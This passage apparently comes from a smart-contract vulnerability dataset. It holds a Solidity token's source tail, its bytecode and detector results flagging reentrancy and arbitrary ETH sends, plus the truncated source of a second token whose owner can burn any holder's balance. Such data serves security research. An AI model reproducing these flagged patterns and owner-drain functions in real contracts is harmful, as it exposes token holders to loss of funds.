return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/5);
}
function launchModeStatus() external view returns(bool) {
return launchMode();
}
function launchMode() internal view returns(bool) {
return launchedAt !=0 && launchedAt + 3 <= block.number && launchedTime + 5 minutes >= block.timestamp ;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
} | 0x6080604052600436106101f25760003560e01c806395d89b411161010d578063ca33e64c116100a0578063e96fada21161006f578063e96fada214610abf578063f0b37c0414610b00578063f2fde38b14610b51578063f887ea4014610ba2578063fe9fbb8014610be3576101f9565b8063ca33e64c14610963578063cec10c11146109a4578063dd62ed3e146109f3578063df20fd4914610a78576101f9565b8063b29a8140116100dc578063b29a81401461085f578063b6a5d7de146108d0578063bcdb446b14610921578063bf56b37114610938576101f9565b806395d89b41146106ac578063a4b45c001461073c578063a8aa1b31146107ad578063a9059cbb146107ee576101f9565b8063571ac8b0116101855780636ddd1713116101545780636ddd1713146105ae57806370a08231146105db5780637ae316d014610640578063893d20e81461066b576101f9565b8063571ac8b0146104a85780635804f1e41461050f5780635fe7208c1461053a578063658d4b7f14610551576101f9565b806323b872dd116101c157806323b872dd146103555780632f54bf6e146103e6578063313ce5671461044d5780634d54288b1461047b576101f9565b80630445b667146101fe57806306fdde0314610229578063095ea7b3146102b957806318160ddd1461032a576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610c4a565b6040518082815260200191505060405180910390f35b34801561023557600080fd5b5061023e610c50565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027e578082015181840152602081019050610263565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c557600080fd5b50610312600480360360408110156102dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8d565b60405180821515815260200191505060405180910390f35b34801561033657600080fd5b5061033f610d7f565b6040518082815260200191505060405180910390f35b34801561036157600080fd5b506103ce6004803603606081101561037857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d89565b60405180821515815260200191505060405180910390f35b3480156103f257600080fd5b506104356004803603602081101561040957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f89565b60405180821515815260200191505060405180910390f35b34801561045957600080fd5b50610462610fe2565b604051808260ff16815260200191505060405180910390f35b34801561048757600080fd5b50610490610feb565b60405180821515815260200191505060405180910390f35b3480156104b457600080fd5b506104f7600480360360208110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ffa565b60405180821515815260200191505060405180910390f35b34801561051b57600080fd5b5061052461102d565b6040518082815260200191505060405180910390f35b34801561054657600080fd5b5061054f611033565b005b34801561055d57600080fd5b506105ac6004803603604081101561057457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110b8565b005b3480156105ba57600080fd5b506105c361118e565b60405180821515815260200191505060405180910390f35b3480156105e757600080fd5b5061062a600480360360208110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a1565b6040518082815260200191505060405180910390f35b34801561064c57600080fd5b506106556111ea565b6040518082815260200191505060405180910390f35b34801561067757600080fd5b5061068061121e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b857600080fd5b506106c1611247565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107015780820151818401526020810190506106e6565b50505050905090810190601f16801561072e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561074857600080fd5b506107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611284565b005b3480156107b957600080fd5b506107c2611385565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107fa57600080fd5b506108476004803603604081101561081157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ab565b60405180821515815260200191505060405180910390f35b34801561086b57600080fd5b506108b86004803603604081101561088257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c0565b60405180821515815260200191505060405180910390f35b3480156108dc57600080fd5b5061091f600480360360208110156108f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f1565b005b34801561092d57600080fd5b506109366115c6565b005b34801561094457600080fd5b5061094d61168a565b6040518082815260200191505060405180910390f35b34801561096f57600080fd5b50610978611690565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109f1600480360360608110156109c757600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506116b6565b005b3480156109ff57600080fd5b50610a6260048036036040811015610a1657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061177e565b6040518082815260200191505060405180910390f35b348015610a8457600080fd5b50610abd60048036036040811015610a9b57600080fd5b8101908080351515906020019092919080359060200190929190505050611805565b005b348015610acb57600080fd5b50610ad46118b9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0c57600080fd5b50610b4f60048036036020811015610b2357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118df565b005b348015610b5d57600080fd5b50610ba060048036036020811015610b7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b5565b005b348015610bae57600080fd5b50610bb7611b17565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bef57600080fd5b50610c3260048036036020811015610c0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b3d565b60405180821515815260200191505060405180910390f35b60165481565b60606040518060400160405280600681526020017f4d697361746f0000000000000000000000000000000000000000000000000000815250905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f7557610ef4826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b939092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f80848484611c53565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6000610ff5612125565b905090565b6000611026827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610c8d565b9050919050565b60145481565b61103c33611b3d565b6110ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110b6612155565b565b6110c133610f89565b611133576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601560009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600043600260135401106112155761120e6001600e5461269f90919063ffffffff16565b905061121b565b600d5490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d53544f00000000000000000000000000000000000000000000000000000000815250905090565b61128d33610f89565b6112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113b8338484611c53565b905092915050565b60006113cb33611b3d565b61143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114ae57600080fd5b505af11580156114c2573d6000803e3d6000fd5b505050506040513d60208110156114d857600080fd5b8101908080519060200190929190505050905092915050565b6114fa33610f89565b61156c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6115cf33610f89565b611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611687573d6000803e3d6000fd5b50565b60135481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116bf33611b3d565b611731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600b8190555081600c8190555061175282846126e990919063ffffffff16565b600d8190555080600e819055506005600e548161176b57fe5b04600d541061177957600080fd5b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61180e33610f89565b611880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601560006101000a81548160ff0219169083151502179055506118af8160035461277190919063ffffffff16565b6016819055505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6118e833610f89565b61195a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6119be33610f89565b611a30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611c40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c05578082015181840152602081019050611bea565b50505050905090810190601f168015611c325780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611c5d6127bb565b15611c6b57611c6a612155565b5b611c73612892565b158015611ccd5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611d27576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611d1e57600080fd5b611d2661289f565b5b611db0826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b939092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dfb612125565b8015611e555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611eab5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f5f5760055482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611f0057600080fd5b600454821115611f0f57600080fd5b42601e600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611f5e57600080fd5b5b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661201b57611fff856128c1565b6120095782612014565b6120138584612918565b5b905061201f565b8290505b61207181600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b6000806013541415801561213e57504360036013540111155b801561215057504261012c6014540110155b905090565b6001601760006101000a81548160ff02191690831515021790555060006121b060026121a2600d54612194600b54601654612a6190919063ffffffff16565b61277190919063ffffffff16565b61277190919063ffffffff16565b905060006121c98260165461269f90919063ffffffff16565b90506000600267ffffffffffffffff811180156121e557600080fd5b506040519080825280602002602001820160405280156122145781602001602082028036833780820191505090505b509050308160008151811061222557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061228f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561239657808201518184015260208101905061237b565b505050509050019650505050505050600060405180830381600087803b1580156123bf57600080fd5b505af11580156123d3573d6000803e3d6000fd5b5050505060006123ec824761269f90919063ffffffff16565b9050600061241a6124096002600b5461277190919063ffffffff16565b600d5461269f90919063ffffffff16565b90506000612458600261244a8461243c600b5488612a6190919063ffffffff16565b61277190919063ffffffff16565b61277190919063ffffffff16565b9050600061248383612475600c5487612a6190919063ffffffff16565b61277190919063ffffffff16565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156124ed573d6000803e3d6000fd5b50600088111561267a57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156125e757600080fd5b505af11580156125fb573d6000803e3d6000fd5b50505050506040513d606081101561261257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601760006101000a81548160ff021916908315150217905550565b60006126e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b93565b905092915050565b600080828401905083811015612767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006127b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ae7565b905092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156128285750601760009054906101000a900460ff16155b80156128405750601560009054906101000a900460ff165b801561288d5750601654600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000806013541415905090565b6128a7612892565b156128b157600080fd5b4360138190555042601481905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612949600e5461293b61292c6111ea565b86612a6190919063ffffffff16565b61277190919063ffffffff16565b905061299d81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3612a58818461269f90919063ffffffff16565b91505092915050565b600080831415612a745760009050612ae1565b6000828402905082848281612a8557fe5b0414612adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612bae6021913960400191505060405180910390fd5b809150505b92915050565b60008083118290612b93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b58578082015181840152602081019050612b3d565b50505050905090810190601f168015612b855780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612b9f57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212202f00342348ff4e1b620a87f32fc5c20eedf90dcdfc2d1753df4340f7526ac63664736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,127 |
0x43E577338d6C07bc92a06C8CA4B781470515dFA8 | /**
*Submitted for verification at Etherscan.io on 2021-03-04
*/
pragma solidity ^0.6.7;
// SPDX-License-Identifier: GPL-3.0
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized operation");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Address shouldn't be zero");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address _owner) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Simple ERC20 Token example, with mintable token creation only during the deployement of the token contract */
contract JetonContrat is Ownable{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public tokenOwner;
//address private ico;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event SetICO(address indexed _ico);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event UnlockToken();
event LockToken();
event Burn();
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
bool public mintingFinished = false;
bool public locked = true;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(!locked || msg.sender == owner /*|| msg.sender == ico*/);
_;
}
modifier onlyAuthorized() {
require(msg.sender == owner /*|| msg.sender == ico*/);
_;
}
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
require (_decimals != 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = 0;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyAuthorized canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyAuthorized canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require (msg.sender != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _who, uint256 _value) onlyAuthorized public returns (bool){
require(_who != address(0));
totalSupply = totalSupply.sub(_value);
balances[_who] = balances[_who].sub(_value);
emit Burn();
emit Transfer(_who, address(0), _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFromERC20Contract(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
